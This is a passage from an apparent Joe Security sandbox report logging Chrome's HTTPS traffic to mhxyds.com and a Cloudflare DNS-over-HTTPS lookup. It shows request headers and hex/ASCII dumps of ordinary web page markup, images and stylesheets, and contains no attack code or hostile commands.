2f 1b 68 76 64 8d 3f 56 49 82 eb 9a 26 f3 92 61 95 b8 9e 32 dc 98 a6 fc 19 6b 1f f6 d1 f8 a5 a4 eb fe 36 d3 bc 1b e1 76 91 
bc 11 f0 e6 06 d2 34 d9 a2 38 4b f9 81 1f 6b bf 
Data Ascii: cgvhs*O#TX`_hGj;iS<'V|Vq^_5|Rv||gxcCMSU[u!t2T}dx{_@sxR@+l>y<%]AH5/hvd?VI&a2k6v48Kk

2022-08-11 03:42:49 UTC 1250 IN Data Raw: 9b c4 b2 6a b0 c9 25 e5 e4 b6 53 a1 00 01 37 12 8c fc d9 0a 72 06 38 f9 99 89 ab 7f 0a 3c 37 ab 7e d0 3f 11 
b4 9f 05 f8 2b 42 8b 58 d5 b5 49 f6 46 25 62 2d e0 8f ab c8 e4 00 16 35 19 66 6c 7b 75 c0 a7 74 b6 27 95 cf 7f eb e6 cf 
44 fd 91 3f 67 cd 4f f6 96 f8 bf 0f 87 7c 23 65 1d ad 9c 2c b3 6a ba b4 88 1e 2d 2e db a3 1e 37 7e f1 b9 08 99 05 8f b0 34 
57 d4 5f b5 5f c6 fd 07 fe 09 5b fb 37 47 f0 b7 e1 eb 43 a8 7c 4c f1 0d bf da 35 3d 4a de 21 1b 5b 16 5c 35 cb 9e 88 79 2b 
12 13 f2 2f 3d 79 25 39 54 8c 5d 98 47 0f 3a 8b 9a 29 5b cd 9f 8e 1a 1b e2 ca 6b 85 8c 5c 79 63 17 90 8e 72 bd 3c d5 1e 
a3 af d3 e9 5f 57 7c 28 92 3f db ab e0 55 bf c3 fb cb 88 e5 f8 9d e0 3b 67 bb f0 56 a0 e7 0d ae d8 a8 dd 2e 9a ed d4 c8 a3 
2f 1e 7d c5 7c 9d e1 a9 1a 0f 17 d9 ec 66 4d d3 
Data Ascii: j%S7r8<7~?+BXIF%b-5fl{ut'D?gO|#e,j-.7~4W__[7GC|L5=J![\5y+/=y%9T]G:)[k\ycr<_W|(?U;gV./}|fM

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

84 192.168.11.20 50192 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:49 UTC 1258 OUT GET /jpg/mark-williams-55x737d89.jpg?la=en&hash=DAB406866593F5A84CB2B04761E87935CE8408D4 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

85 192.168.11.20 52048 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:49 UTC 1258 OUT GET /index.php HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

86 192.168.11.20 51444 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Copyright Joe Security LLC 2022 Page 301 of 310



Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:50 UTC 1259 OUT GET /png/dm1ba0.png?h=73&w=55&la=en&hash=3A295843D6CCFE8B1E8E1C1EE86E9D18CC8F9326 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

87 118.27.105.118 443 192.168.11.20 50192 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:50 UTC 1259 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:50 GMT
Content-Type: image/jpeg
Content-Length: 3400
Last-Modified: Wed, 16 Sep 2020 16:53:12 GMT
Connection: close
ETag: "5f6242f8-d48"
Expires: Sat, 10 Sep 2022 03:42:50 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:50 UTC 1259 IN Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 
79 00 01 00 04 00 00 00 50 00 00 ff e1 03 7c 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 
2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 
48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 
64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 
2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 34 36 30 2c 20 32 30 32 30 2f 30 35 2f 31 32 2d 31 36 3a 30 34 3a 31 37 20 
20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 
Data Ascii: ExifII*DuckyP|http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xm
pmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164460, 2020/05/12-16:04:17        "> <rdf:RDF 
xm

Session ID Source IP Source Port Destination IP
Destination
Port

Process

88 118.27.105.118 443 192.168.11.20 51444 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:50 UTC 1263 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:50 GMT
Content-Type: image/png
Content-Length: 5522
Last-Modified: Sun, 19 Feb 2017 09:42:02 GMT
Connection: close
ETag: "58a9686a-1592"
Expires: Sat, 10 Sep 2022 03:42:50 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:50 UTC 1263 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 37 00 00 00 49 08 06 00 00 00 99 f3 be f7 00 00 00 
01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 
00 0e c1 01 b8 91 6b ed 00 00 15 27 49 44 41 54 78 5e ad da 03 b0 26 cb b2 05 e0 ff d8 b6 6d db b6 6d db b6 6d db b6 
6d db b6 6d 5b 71 4e bd f7 55 c4 9a 57 e7 9f bd e7 9e 7b df 9d 88 9c ee bf 51 9d ab 56 e6 ca ac ee dd b9 f5 d6 5b cb 6d 
b7 dd d6 97 dd 7e fb ed d5 da fd 3b ee b8 a3 47 bb f3 ce 3b cb 5d 77 dd 55 b7 bd ed b7 d7 f6 74 ae 3d 9e 6b ff 95 c5 bf 
18 2c b1 5b 6e b9 a5 f4 01 17 00 dd 96 41 b2 df 5a 9c 69 c1 b0 bb ef be bb dc 7b ef bd d5 ee b9 e7 9e 3e e7 6d fd 76 dc 
35 7e 67 2c fb b1 76 ac 58 fb 5c c6 9f d6 ef 6e 90 15 5c 7b 30 
Data Ascii: PNGIHDR7IsRGBgAMAapHYsk'IDATx^&mmmmm[qNUW{QV[m~;G;]wUt=k,[nAZi{>mv5~g,vX\n\{0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

89 118.27.105.118 443 192.168.11.20 52048 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:50 UTC 1269 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:50 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000

2022-08-11 03:42:50 UTC 1269 IN Data Raw: 32 31 64 63 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 
20 37 5d 3e 20 20 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 6c 74 2d 69 65 39 20 6c 74 2d 
69 65 38 20 6c 74 2d 69 65 37 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 
3e 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 6c 74 2d 69 65 39 20 6c 74 2d 6
9 65 38 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 20 20 
20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 6c 74 2d 69 65 39 22 3e 20 3c 21 5b 65 6e 64 69 66 
5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 
Data Ascii: 21dcf<!DOCTYPE html>...[if lt IE 7]>      <html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]-->...[if IE 7]>         
<html class="no-js lt-ie9 lt-ie8"> <![endif]-->...[if IE 8]>         <html class="no-js lt-ie9"> <![endif]-->...[if gt IE 8]><!

2022-08-11 03:42:50 UTC 1285 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 3c 70 3e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
Data Ascii:                                                                             <p></p>                                                                           
         </div>                                                                                

2022-08-11 03:42:50 UTC 1302 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 2
0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 
6c 61 73 73 3d 22 6d 65 67 61 6e 61 76 20 61 63 63 6f 72 64 69 6f 6e 2d 70 61 6e 65 6c 20 20 22 3e 0a 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 3c 61 20 68 72 65 66 3d 22 6e 65 77 73 2d 61 6e 64 2d 69 6e 73 
Data Ascii:                                               </div>                                            </li>                                            <li 
class="meganav accordion-panel  ">                                                <a href="news-and-ins

2022-08-11 03:42:50 UTC 1318 IN Data Raw: 2d 32 39 2e 32 2c 31 33 2e 31 2d 32 39 2e 32 2c 32 39 2e 32 63 30 2c 39 2e 32 2c 34 2e 33 2c 31 37 2e 34 2c 
31 30 2e 39 2c 32 32 2e 37 4c 32 30 2e 31 2c 38 31 68 32 39 2e 32 20 20 20 63 31 36 2e 31 2c 30 2c 32 39 2e 32 2d 31 
33 2e 31 2c 32 39 2e 32 2d 32 39 2e 32 43 37 38 2e 34 2c 33 35 2e 37 2c 36 35 2e 34 2c 32 32 2e 36 2c 34 39 2e 33 2c 
32 32 2e 36 7a 20 4d 34 39 2e 33 2c 37 38 2e 34 48 32 39 2e 38 6c 36 2e 32 2d 33 2e 36 63 2d 37 2e 39 2d 34 2e 36 2d 
31 33 2e 33 2d 31 33 2e 32 2d 31 33 2e 33 2d 32 33 20 20 20 63 30 2d 31 34 2e 37 2c 31 31 2e 39 2d 32 36 2e 36 2c 32 
36 2e 36 2d 32 36 2e 36 73 32 36 2e 36 2c 31 31 2e 39 2c 32 36 2e 36 2c 32 36 2e 36 43 37 35 2e 39 2c 36 36 2e 35 2c 
36 33 2e 39 2c 37 38 2e 34 2c 34 39 2e 33 2c 37 38 2e 34 7a 20 4d 35 30 
Data Ascii: -29.2,13.1-29.2,29.2c0,9.2,4.3,17.4,10.9,22.7L20.1,81h29.2   c16.1,0,29.2-13.1,29.2-29.2C78.4,35.7,65.4,22.6
,49.3,22.6z M49.3,78.4H29.8l6.2-3.6c-7.9-4.6-13.3-13.2-13.3-23   c0-14.7,11.9-26.6,26.6-26.6s26.6,11.9,26.6,26
.6C75.9,66.5,63.9,78.4,49.3,78.4z M50

2022-08-11 03:42:50 UTC 1334 IN Data Raw: 2c 30 20 20 20 20 63 2d 30 2e 36 2c 30 2e 36 2d 30 2e 36 2c 31 2e 34 2c 30 2c 32 4c 33 32 2e 36 2c 33 31 2e 
35 7a 22 20 2f 3e 0a 09 09 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 31 43 34 45 38 30 22 20 64 3d 22 4d 36 36 2e 39 2c 
33 32 63 30 2e 34 2c 30 2c 30 2e 38 2d 30 2e 31 2c 31 2d 30 2e 34 6c 37 2e 37 2d 37 2e 37 63 30 2e 36 2d 30 2e 36 2c 
30 2e 36 2d 31 2e 34 2c 30 2d 32 73 2d 31 2e 34 2d 30 2e 36 2d 32 2c 30 4c 36 36 2c 32 39 2e 36 63 2d 30 2e 36 2c 30 
2e 36 2d 30 2e 36 2c 31 2e 34 2c 30 2c 32 20 20 20 20 43 36 36 2e 32 2c 33 31 2e 38 2c 36 36 2e 35 2c 33 32 2c 36 36 
2e 39 2c 33 32 7a 22 20 2f 3e 0a 09 3c 2f 67 3e 0a 3c 2f 67 3e 0a 3c 2f 73 76 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
Data Ascii: ,0    c-0.6,0.6-0.6,1.4,0,2L32.6,31.5z" /><path fill="#1C4E80" d="M66.9,32c0.4,0,0.8-0.1,1-0.4l7.7-7.7c0.6-0
.6,0.6-1.4,0-2s-1.4-0.6-2,0L66,29.6c-0.6,0.6-0.6,1.4,0,2    C66.2,31.8,66.5,32,66.9,32z" /></g></g></svg>                         
         

2022-08-11 03:42:50 UTC 1350 IN Data Raw: 32 2e 37 2c 30 2e 35 63 2d 30 2e 35 2c 30 2d 30 2e 39 2c 30 2e 34 2d 30 2e 39 2c 30 2e 38 6c 30 2e 32 2c 
32 2e 38 63 30 2c 30 2e 34 2c 30 2e 35 2c 30 2e 37 2c 31 2c 30 2e 37 20 20 20 20 6c 32 2e 37 2c 30 2e 32 63 30 2e 33 
2c 30 2e 39 2c 30 2e 38 2c 31 2e 36 2c 31 2e 34 2c 32 2e 33 6c 2d 31 2c 32 2e 35 63 2d 30 2e 32 2c 30 2e 34 2d 30 2e 3
2 2c 31 2c 30 2e 32 2c 31 2e 31 6c 32 2e 34 2c 31 2e 34 63 30 2e 33 2c 30 2e 32 2c 30 2e 39 2c 30 2c 31 2e 31 2d 30 2e 
34 6c 31 2e 36 2d 32 2e 32 63 31 2c 30 2e 32 2c 32 2e 31 2c 30 2e 32 2c 33 2e 31 2d 30 2e 31 20 20 20 20 6c 31 2e 37 
2c 32 2e 32 63 30 2e 32 2c 30 2e 34 2c 30 2e 37 2c 30 2e 36 2c 31 2e 31 2c 30 2e 34 6c 32 2e 34 2d 31 2e 34 63 30 2e 
33 2d 30 2e 32 2c 30 2e 34 2d 30 2e 37 2c 30 2e 32 2d 31 2e 31 6c 2d 31 
Data Ascii: 2.7,0.5c-0.5,0-0.9,0.4-0.9,0.8l0.2,2.8c0,0.4,0.5,0.7,1,0.7    l2.7,0.2c0.3,0.9,0.8,1.6,1.4,2.3l-1,2.5c-0.2,0.4-
0.2,1,0.2,1.1l2.4,1.4c0.3,0.2,0.9,0,1.1-0.4l1.6-2.2c1,0.2,2.1,0.2,3.1-0.1    l1.7,2.2c0.2,0.4,0.7,0.6,1.1,0.4l2.4-1.4c0.3-0.2,0
.4-0.7,0.2-1.1l-1

2022-08-11 03:42:51 UTC 1366 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 
64 69 76 20 63 6c 61 73 73 3d 22 67 72 61 70 68 69 63 20 69 74 65 6d 2d 67 72 61 70 68 69 63 22 3e 0a 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
3c 64 69 76 20 63 6c 61 73 73 3d 22 67 72 61 70 68 69 63 2d 73 76 67 22 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 
22 31 2e 31 22 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 
2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 
33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 
Data Ascii:                                   <div class="graphic item-graphic">                                            <div class="graphic-
svg"><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x
="0px

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:51 UTC 1382 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 65 74 61 69 6c 73 20 69 74 65 6d 2d 64 65 74 61 
69 6c 73 20 69 74 65 6d 2d 6f 76 65 72 6c 61 79 2d 64 65 74 61 69 6c 73 20 6e 65 77 73 68 6f 6d 65 2d 64 65 74 61 69 6
c 73 20 63 65 6c 6c 20 63 65 6c 6c 2d 63 65 6e 74 65 72 20 63 65 6c 6c 2d 6d 69 64 64 6c 65 22 3e 0a 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 6c 65 61 64 69 6e 
20 69 74 65 6d 2d 6c 65 61 64 69 6e 20 69 74 65 6d 2d 6f 76 65 72 6c 61 
Data Ascii:                                              <div class="details item-details item-overlay-details newshome-details cell cell-
center cell-middle">                                                                    <p class="leadin item-leadin item-overla

2022-08-11 03:42:51 UTC 1398 IN Data Raw: 3c 61 20 68 72 65 66 3d 22 64 69 76 69 64 65 6e 64 2d 68 69 73 74 6f 72 79 2e 68 74 6d 6c 22 3e 44 69 76 69 
64 65 6e 64 20 48 69 73 74 6f 72 79 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 
2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 0a 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 
Data Ascii: <a href="dividend-history.html">Dividend History</a>                                                            </li>                     
                                       <li>                                                                <a href

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

9 118.27.105.118 443 192.168.11.20 55369 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:38 UTC 100 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:38 GMT
Content-Type: text/html
Content-Length: 146
Last-Modified: Thu, 27 Jan 2022 15:34:06 GMT
Connection: close
ETag: "61f2bb6e-92"
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:38 UTC 100 IN Data Raw: 3c 48 54 4d 4c 3e 0d 0a 3c 48 45 41 44 3e 0d 0a 3c 54 49 54 4c 45 3e 45 72 72 6f 72 20 50 61 67 65 3c 2f 54 
49 54 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 0d 0a 41 6e 20 65 72 72 6f 72 20 28 34 30 33 20 46 6f 
72 62 69 64 64 65 6e 29 20 68 61 73 20 6f 63 63 75 72 72 65 64 20 69 6e 20 72 65 73 70 6f 6e 73 65 20 74 6f 20 74 68 
69 73 20 72 65 71 75 65 73 74 2e 0d 0a 3c 2f 42 4f 44 59 3e 0d 0a 3c 2f 48 54 4d 4c 3e 0d 0a 
Data Ascii: <HTML><HEAD><TITLE>Error Page</TITLE></HEAD><BODY>An error (403 Forbidden) has occurred in 
response to this request.</BODY></HTML>

Session ID Source IP Source Port Destination IP
Destination
Port

Process

90 192.168.11.20 51443 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:50 UTC 1301 OUT GET /js/jquery-1.8.2.min.js HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

91 192.168.11.20 52041 172.64.145.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:50 UTC 1301 OUT POST /dns-query HTTP/1.1
Host: chrome.cloudflare-dns.com
Connection: keep-alive
Content-Length: 128
Accept: application/dns-message
Accept-Language: *
User-Agent: Chrome
Accept-Encoding: identity
Content-Type: application/dns-message

2022-08-11 03:42:50 UTC 1301 OUT Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 0a 64 6e 73 74 72 61 6e 66 65 72 03 63 6f 6d 00 00 01 00 01 00 00 29 
10 00 00 00 00 00 00 55 00 0c 00 51 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: dnstranfercom)UQ

Session ID Source IP Source Port Destination IP
Destination
Port

Process

92 192.168.11.20 51445 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:50 UTC 1301 OUT GET /png/tmc0ce.png?h=73&w=55&la=en&hash=96F86B1DC04644EE7ED2DE1ED649AAFE79C5D556 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

93 172.64.145.85 443 192.168.11.20 52041 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:51 UTC 1366 IN HTTP/1.1 200 OK
Server: cloudflare
Date: Thu, 11 Aug 2022 03:42:51 GMT
Content-Type: application/dns-message
Connection: close
Access-Control-Allow-Origin: *
Content-Length: 468
CF-RAY: 738df6aecf635b9e-FRA

2022-08-11 03:42:51 UTC 1366 IN Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 0a 64 6e 73 74 72 61 6e 66 65 72 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 
00 01 00 00 02 58 00 04 2f f3 64 cf 00 00 29 04 d0 00 00 00 00 01 99 00 0c 01 95 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: dnstranfercomX/d)

Session ID Source IP Source Port Destination IP
Destination
Port

Process

94 192.168.11.20 50126 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:51 UTC 1406 OUT GET /css/custom.css HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: style
Referer: https://mhxyds.com/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

95 192.168.11.20 50744 118.27.105.118 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:51 UTC 1407 OUT GET /css/jquery-ui.min.css HTTP/1.1
Host: mhxyds.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: style
Referer: https://mhxyds.com/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: nmstat=f0b268dd-a818-0db6-9ca3-86cfebd962e9

